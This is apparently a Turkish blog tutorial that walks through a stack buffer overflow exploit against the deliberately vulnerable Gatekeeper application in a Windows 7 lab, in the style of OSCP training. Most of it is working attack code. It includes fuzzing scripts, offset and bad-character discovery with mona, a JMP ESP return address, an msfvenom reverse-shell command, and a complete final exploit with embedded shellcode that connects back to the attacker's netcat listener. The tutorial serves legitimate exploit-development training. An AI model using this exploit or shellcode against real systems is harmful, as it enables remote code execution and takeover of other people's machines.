- Aralık 15, 2023
- Eren Gözaydın
- 0
Gereksinimler
Vmware yada Virtualbox (Tercihim Vmware)
Kali Linux, Parrot OS İşletim sistemleriden biri (Tercihim Kali Linux)
Windows 7
Immunity Debugger
Python 2.7
Corelan Mona Betiği
Gatekeeper zafiyetli uygulama
Özet: Programların bellekler üzerinde kullanıcılar için ayırdıkları hafıza alanları vardır. Eğer kullanıcı bu hafıza alanına olabileceğinden daha büyük bir veriyi yazmak isterse Buffer Overflow dediğimiz olay gerçekleşiyor ve kullanıcı verisinin bir kısmı EIP(Index Pointer) ve ESP(Stack Pointer) üzerine düşebiliyor. EIP değeri bizim için son derece önemli çünkü EIP bir sonraki adımda işlenecek komutun bellekteki adresini saklıyor. Eğer EIP ye kadar gereksiz karakterle doldurup tam taşma noktasında yani EIP üzerinde bir bellek adresi düşürebilirsek program artık bizim istediğimiz yerden akışına devam edecektir.
Biz EIP üzerine öyle bir bellek adresi yazacağız ki assembly dilinde jump ESP komutunu barındıran bir adres yazacağız ve ESP ye atlamasını gerçekleştireceğiz. ESP yede kendi Shell kodumuza bir backdoor kodu yerleştirdiğimizde hedef sistemi Exploit etmiş olacağız.
İşlemler
Vmware üzerinde 3 adet sanal makineyi birbirlerini görecek şekilde (hepsi nat network yada hepsi bridge adapter) çalıştırıyoruz.
Elimden geldiğince sınav hakkında bilgi vermeden Buffer Overflow konusunu OSCP sınav senaryosuna benzer şekilde anlatmaya çalışacağım.
Kurulumları ve sanal makineleri aşağıdaki şekilde yapıyoruz.
Çalışır durumda Kali Linux
Çalışır durumda üzerinde immunity debugger, mona betiği ve zafiyetli uygulama yüklü Windows 7 makine.
Çalışır durumda üzerinde sadece zafiyetli uygulamanın yüklü olduğu ayrı bir Windows 7 makine.
Burada iki adet windows 7 olmasının sebebi immunity debugger, mona betiği ve zafiyetli uygulama yüklü Windows 7 makine üzerinden geliştirmelerimizi yapıp en son başarılı final kodumuz ile sadece zafiyetli uygulamanın olduğu makineden bağlantı almak.
Buffer Overflow un ilk aşaması olan fuzzing kısmına geçmeden önce hedef makineye bir nmap atarak uygulamanın hangi port üzerinden çalıştığını bulmamız gerekiyor.
sudo nmap -sC -sV -A- -p- <hedef-ip>
Şeklinde bir nmap taraması yapıyorum.
31337 numaralı portu dikkatimi çekti ve netcat ile portu dinliyorum.
Mevcut senaryomuzun test kısmında
Hedef IP: 192.168.91.128
Hedef Port: 31337
olacaktır.
Bağlantı attıktan sonra Test yazdım ve bana Hello Test!!! olarak cevap döndü.
Test yazdığım yere fuzzing ile belirli sayıda karakter gönderip uygulamanın gönderdiğim kaçıncı karakterde crash olduğunu tespit etmem gerekiyor.
Fuzzing işlemi öncesinde bazı yapmam gereken ayarlar var.
İlk olarak https://github.com/corelan/mona linkinden mona.py python betiğini indirip
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
dizinine kopyalıyoruz.
Immunity debugger açıyoruz ve zafiyetli uygulamamız olan Gatekeeper ı immunity debugger içerisine attach ediyoruz.
Önemli Not: Attach edebilmemiz için öncelikle gatekeeper.exe nin çalışıyor olaması gerekmektedir ve immunity debugger ın run as administrator olarak çalıştırılması gerekmektedir.
Uygulamamızı immunity debugger içerisine attach ettikten sonra aşağıdaki mona kodunu çalıştırıyoruz.
!mona config -set workingfolder c:\mona\%p
Bu komut bize C dizini altında attach ettiğimiz uygulama ismi ile çalışma dizini oluşturuyor. Bu çalışma dizinini daha sonra bad char kısmında ve bazı noktalarda kullanacağız.
Immunity debugger içerisine gatekeeper.exe yi attach edip uygulamayı Immunity debugger run çalıştırıyoruz ve Immunity debugger da sağ alt köşesinde Running yazısını görmemiz gerekiyor.
Kali Linux e geçiyorum ve fuzzer.py isimli bir python dosyası oluşturup içerisine aşağıdaki kodları ekliyorum.
Bu kod bloğu test yazıp karşılığında hello test aldığımız yere sırası ile 100 er adet A karakteri gönderecek. Bizde Immunity debugger da bu süreci takip edip uygulamanın kaçıncı A karakterinde crash olduğunu tespit edeceğiz.
#!/usr/bin/python
import sys,socket
import time
address = '192.168.91.128'
port = 31337
buffer = ['A']
counter = 100
while len(buffer) < 10:
buffer.append('A'*counter)
counter=counter+100
try:
for string in buffer:
print '[+] Sending %s bytes...' % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((address,port))
s.send(string + '\r\n')
s.recv(1024)
print '[+] Done'
except:
print '[!] Unable to connect to the application. You may have crashed it.'
sys.exit(0)
finally:
s.close()
Kalide terminal açıp aşağıdaki komut ile fuzzing işlemine başlıyoruz.
200 byte data gönderildikten sonra uygulamamın çöktüğünü gözlemliyorum.
Ben ne olur ne olmaz diye direkt 200 byte lık bir karakter dizisi yerine 250 byte lık bir karakter dizisi oluşturuyorum.
Tam olarak kaçıncı karakterde çöktüğünü tespit etmem gerekiyor bunun için Kali Linux üzerinde hazır bulunan bir tool olan Pattern Create aracını kullanacağım.
Kali terminale aşağıdaki komutu çalıştırıyorum ve 250 byte lık bir karakter dizisi oluşturuyorum.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 250
Oluşan karakter dizimiz.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
Fuzzing işlemini tamamladığımıza göre şimdi exploit i geliştirme sürecine başlayabiliriz. Yukarıda oluşturduğumuz karakter dizinini yeni oluşturduğum exploit1.py isimli python dosyama ekliyorum.
#!/usr/bin/python
import socket
ip = "192.168.91.128"
port = 31337
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"
end = "\r\n"
buffer = junk + end
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
Windows 7 de gatekeeper.exe yi çalıştırıp immunity debugger da gatekeeper.exe yi tekrardan attach edip run durumuna getiriyorum.
Kali terminalden exploit1.py yi gönderiyorum.
Windows 7 de immunity debugger da çökme durumunu gözlemliyorum.
Tam olarak kaçıncı karakterde crash olduğunu anlamak için uygulama crash durumdayken immunity debugger a aşağıdaki komutu veriyorum.
!mona findmsp -distance 250
EIP üzerine düşen değeri incelediğimizide offset değerimizin 146 olduğunu görüyoruz.
Log data, item 17 Address=0BADF00D Message= EIP contains normal pattern : 0x39654138 (offset 146)
exploit2.py dosyasını oluşturuyorum ve bu sefer de offset degerimi belirtiyorum ve kodumu geliştirmeye devam ediyorum.
import socket
ip = "192.168.91.128"
port = 31337
prefix = ""
offset = 146
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
Bu kısımda retn kısmı bizim için önemli çünkü bu kısıma ilerde öyle bir değer vereceğiz ki program bundan sonraki kısımda artık bizim istediğimiz kodu yürütecek. Bizde bu sayede kendi oluşturduğumuz payload ı ekleyerek hedef sistemden shell alabileceğiz.
offset değerimizi 146 olarak belirledik ESP üzerine 146 adet A karakteri düşürdükten sona gözlemlememiz gereken durum EIP üzerine 4 adet B karakteri düşecek mi bunu bakmak.
gatekeeper.exe yi çalıştırıp immunity debugger da gatekeeper.exe yi tekrardan attach edip run durumuna getiriyorum.
exploit2.py mi göndererek durumu inceliyorum.
Shell Code oluşturmadan önce önemle dikkat etmemiz gereken bir durum söz konusu. İstemediğimiz bazı hexadecimal bad character dediğimiz kötü karakterler vardır, örneğin 0x00 kodu gibi. Shell code içerisinde bunu ve bunun gibi tespit edeceğimiz kötü kodlara yer vermememiz gerekmektedir. 0x00 kodu null değer taşımaktadır. Eğer program akış sırasında bı ifadeye rastlarsa program akışı sonlanır ve exploit anlamında bir işlem gerçekleşmez. 0X00 ifadesi EIP içinde geçerli bir durumdur.
Bad chars ları tespit etmeye geçmeden önce bir mono kodu çalıştırmamız gerekiyor.
!mona bytearray -b "\x00"
Mona kullanarak C:\mona\gatekeeper altında bytearray isimli dosyayı oluşturduk ve bu oluşan karakter listesi içerisine x00 ı dahil etmedik. x00 null değerimiz olduğu için her türlü bad char olacağı için dahil etmeye gerek yok.
exploit3.py oluşturup bu seferde bad charların tespiti için oluşturduğumuz karakterleri kodumun içerisine dahil ediyorum.
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14
\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28
\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c
\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50
\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64
\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78
\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c
\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0
\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4
\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8
\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc
\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0
\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
exploit3.py içeriği
import socket
ip = "192.168.91.128"
port = 31337
prefix = ""
offset = 146
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
gatekeeper.exe yi çalıştırıp immunity debugger da gatekeeper.exe yi tekrardan attach edip run durumuna getiriyorum.
exploit3.py kodumu gönderiyorum ve uygulama crash durumdayken ESP degerini alıyorum
ESP = 016319F8
Uygulama crash durumdayken
Aşağıdaki mona kodunu çalıştırıyorum.
!mona compare -f C:\mona\gatekeeper\bytearray.bin -a 016319F8
Bu kodumuzda -a nın sağına ESP değerini ekledik.
mona Memory comparison results, item 0 Address=0x016319f8 Status=Corruption after 9 bytes BadChars=00 0a Type=normal Location=Stack
Badcharlarımız \x00\x0a
Jmp ESP yi tespit edelim.
Not: Tırnak içi bad chars lar program hala crash halde olmalı.
!mona jmp -r esp -cpb "\x00\x0a"
Log data, item 4 Address=080414C3 Message= 0x080414c3 : jmp esp | {PAGE_EXECUTE_READ} [gatekeeper.exe] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (C:\Users\BOF\Desktop\gatekeeper\gatekeeper.exe)
Jump ESP değerimiz 080414C3
Bulduğumuz bu adresi Little-Endian kuralına göre tersten yazıyoruz.
\xC3\x14\x04\x08
final.py python kod bloğumuzda retn kısmına bu kodumuzu yazabiliriz.
kodumuzda padding kısmına
padding = “\x90” * 16 ekliyoruz.
x90 no operation kodudur. Shell kodumuz direkt olarak olarak ESP üzerinden çalışmasından önce bu çalışma sürecini biraz daha hafifletmek için 16 adet no operation kodu ekliyorum.
Elimizde bad charlarımız ve retn kodumuz olduğuna göre artık payload ı oluşturup final.py içerisine ekleyip işlemlerimizi tamamlayabiliriz.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.129 LPORT=4444 -b '\x00\x0a' EXITFUNC=thread -f python -v payload
LHOST = Kali Linux IP adresim.
LPORT = Shell in geleceği port
-b = Bulmuş olduğumuz badchar lar.
Kodumuzu oluşturalım.
Oluşan kodu final.py dosyamıza dahil edelim.
import socket
ip = "192.168.91.128"
port = 31337
prefix = ""
offset = 146
overflow = "A" * offset
retn = "\xC3\x14\x04\x08"
padding = "\x90" * 16
payload = b""
payload += b"\xb8\x42\x30\x2f\x88\xdb\xc3\xd9\x74\x24\xf4\x5b"
payload += b"\x29\xc9\xb1\x52\x31\x43\x12\x03\x43\x12\x83\xa9"
payload += b"\xcc\xcd\x7d\xd1\xc5\x90\x7e\x29\x16\xf5\xf7\xcc"
payload += b"\x27\x35\x63\x85\x18\x85\xe7\xcb\x94\x6e\xa5\xff"
payload += b"\x2f\x02\x62\xf0\x98\xa9\x54\x3f\x18\x81\xa5\x5e"
payload += b"\x9a\xd8\xf9\x80\xa3\x12\x0c\xc1\xe4\x4f\xfd\x93"
payload += b"\xbd\x04\x50\x03\xc9\x51\x69\xa8\x81\x74\xe9\x4d"
payload += b"\x51\x76\xd8\xc0\xe9\x21\xfa\xe3\x3e\x5a\xb3\xfb"
payload += b"\x23\x67\x0d\x70\x97\x13\x8c\x50\xe9\xdc\x23\x9d"
payload += b"\xc5\x2e\x3d\xda\xe2\xd0\x48\x12\x11\x6c\x4b\xe1"
payload += b"\x6b\xaa\xde\xf1\xcc\x39\x78\xdd\xed\xee\x1f\x96"
payload += b"\xe2\x5b\x6b\xf0\xe6\x5a\xb8\x8b\x13\xd6\x3f\x5b"
payload += b"\x92\xac\x1b\x7f\xfe\x77\x05\x26\x5a\xd9\x3a\x38"
payload += b"\x05\x86\x9e\x33\xa8\xd3\x92\x1e\xa5\x10\x9f\xa0"
payload += b"\x35\x3f\xa8\xd3\x07\xe0\x02\x7b\x24\x69\x8d\x7c"
payload += b"\x4b\x40\x69\x12\xb2\x6b\x8a\x3b\x71\x3f\xda\x53"
payload += b"\x50\x40\xb1\xa3\x5d\x95\x16\xf3\xf1\x46\xd7\xa3"
payload += b"\xb1\x36\xbf\xa9\x3d\x68\xdf\xd2\x97\x01\x4a\x29"
payload += b"\x70\xee\x23\x6a\x01\x86\x31\x8c\x10\x0b\xbf\x6a"
payload += b"\x78\xa3\xe9\x25\x15\x5a\xb0\xbd\x84\xa3\x6e\xb8"
payload += b"\x87\x28\x9d\x3d\x49\xd9\xe8\x2d\x3e\x29\xa7\x0f"
payload += b"\xe9\x36\x1d\x27\x75\xa4\xfa\xb7\xf0\xd5\x54\xe0"
payload += b"\x55\x2b\xad\x64\x48\x12\x07\x9a\x91\xc2\x60\x1e"
payload += b"\x4e\x37\x6e\x9f\x03\x03\x54\x8f\xdd\x8c\xd0\xfb"
payload += b"\xb1\xda\x8e\x55\x74\xb5\x60\x0f\x2e\x6a\x2b\xc7"
payload += b"\xb7\x40\xec\x91\xb7\x8c\x9a\x7d\x09\x79\xdb\x82"
payload += b"\xa6\xed\xeb\xfb\xda\x8d\x14\xd6\x5e\xad\xf6\xf2"
payload += b"\xaa\x46\xaf\x97\x16\x0b\x50\x42\x54\x32\xd3\x66"
payload += b"\x25\xc1\xcb\x03\x20\x8d\x4b\xf8\x58\x9e\x39\xfe"
payload += b"\xcf\x9f\x6b"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
Final kodumuzu göndermeden önce
nc -nlvp 4444
ile 4444 numaralı portu dinleme alıyoruz.
gatekeeper.exe yi çalıştırıp immunity debugger da gatekeeper.exe yi tekrardan attach edip run durumuna getiriyorum.
final.py kodumu gönderiyorum.
nc ile 4444 numaralı portu dinlediğim terminal ekranına geri döndüğüm zaman hedef makineden shell i almış olduğumu görüyorum.
Kodlarımızı 192.168.91.128 ip numaralı test makinesi için geliştirmiştik. 192.168.91.130 numaları Windows 7 makinamızda aynı uygulamanın çalıştığını düşünürsek tek yapmamız gereken yine bir nmap atarak uygulamanın aynı portan mı çalıştığını yada farklı bir port verilip verilmediğini teyit etmek. Eğer portta değiliklik yoksa aşağıdaki kod da ip numarası ve python kodunu Kali terminalinden gönderirken değiştirmemiz yeterlidir. Port numasında değişiklik varsa aşağıdaki kod bloğunda port kısmıda düzeltilmesi gerekir.
python final.py 192.168.91.130
import socket
ip = "192.168.91.130"
port = 31337
prefix = ""
offset = 146
overflow = "A" * offset
retn = "\xC3\x14\x04\x08"
padding = "\x90" * 16
payload = b""
payload += b"\xb8\x42\x30\x2f\x88\xdb\xc3\xd9\x74\x24\xf4\x5b"
payload += b"\x29\xc9\xb1\x52\x31\x43\x12\x03\x43\x12\x83\xa9"
payload += b"\xcc\xcd\x7d\xd1\xc5\x90\x7e\x29\x16\xf5\xf7\xcc"
payload += b"\x27\x35\x63\x85\x18\x85\xe7\xcb\x94\x6e\xa5\xff"
payload += b"\x2f\x02\x62\xf0\x98\xa9\x54\x3f\x18\x81\xa5\x5e"
payload += b"\x9a\xd8\xf9\x80\xa3\x12\x0c\xc1\xe4\x4f\xfd\x93"
payload += b"\xbd\x04\x50\x03\xc9\x51\x69\xa8\x81\x74\xe9\x4d"
payload += b"\x51\x76\xd8\xc0\xe9\x21\xfa\xe3\x3e\x5a\xb3\xfb"
payload += b"\x23\x67\x0d\x70\x97\x13\x8c\x50\xe9\xdc\x23\x9d"
payload += b"\xc5\x2e\x3d\xda\xe2\xd0\x48\x12\x11\x6c\x4b\xe1"
payload += b"\x6b\xaa\xde\xf1\xcc\x39\x78\xdd\xed\xee\x1f\x96"
payload += b"\xe2\x5b\x6b\xf0\xe6\x5a\xb8\x8b\x13\xd6\x3f\x5b"
payload += b"\x92\xac\x1b\x7f\xfe\x77\x05\x26\x5a\xd9\x3a\x38"
payload += b"\x05\x86\x9e\x33\xa8\xd3\x92\x1e\xa5\x10\x9f\xa0"
payload += b"\x35\x3f\xa8\xd3\x07\xe0\x02\x7b\x24\x69\x8d\x7c"
payload += b"\x4b\x40\x69\x12\xb2\x6b\x8a\x3b\x71\x3f\xda\x53"
payload += b"\x50\x40\xb1\xa3\x5d\x95\x16\xf3\xf1\x46\xd7\xa3"
payload += b"\xb1\x36\xbf\xa9\x3d\x68\xdf\xd2\x97\x01\x4a\x29"
payload += b"\x70\xee\x23\x6a\x01\x86\x31\x8c\x10\x0b\xbf\x6a"
payload += b"\x78\xa3\xe9\x25\x15\x5a\xb0\xbd\x84\xa3\x6e\xb8"
payload += b"\x87\x28\x9d\x3d\x49\xd9\xe8\x2d\x3e\x29\xa7\x0f"
payload += b"\xe9\x36\x1d\x27\x75\xa4\xfa\xb7\xf0\xd5\x54\xe0"
payload += b"\x55\x2b\xad\x64\x48\x12\x07\x9a\x91\xc2\x60\x1e"
payload += b"\x4e\x37\x6e\x9f\x03\x03\x54\x8f\xdd\x8c\xd0\xfb"
payload += b"\xb1\xda\x8e\x55\x74\xb5\x60\x0f\x2e\x6a\x2b\xc7"
payload += b"\xb7\x40\xec\x91\xb7\x8c\x9a\x7d\x09\x79\xdb\x82"
payload += b"\xa6\xed\xeb\xfb\xda\x8d\x14\xd6\x5e\xad\xf6\xf2"
payload += b"\xaa\x46\xaf\x97\x16\x0b\x50\x42\x54\x32\xd3\x66"
payload += b"\x25\xc1\xcb\x03\x20\x8d\x4b\xf8\x58\x9e\x39\xfe"
payload += b"\xcf\x9f\x6b"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
Buffer Overflow konusunu elimden geldiğince adım adım anlatmaya çalıştım. Umarım çalışmalarınızda yardımcı olur.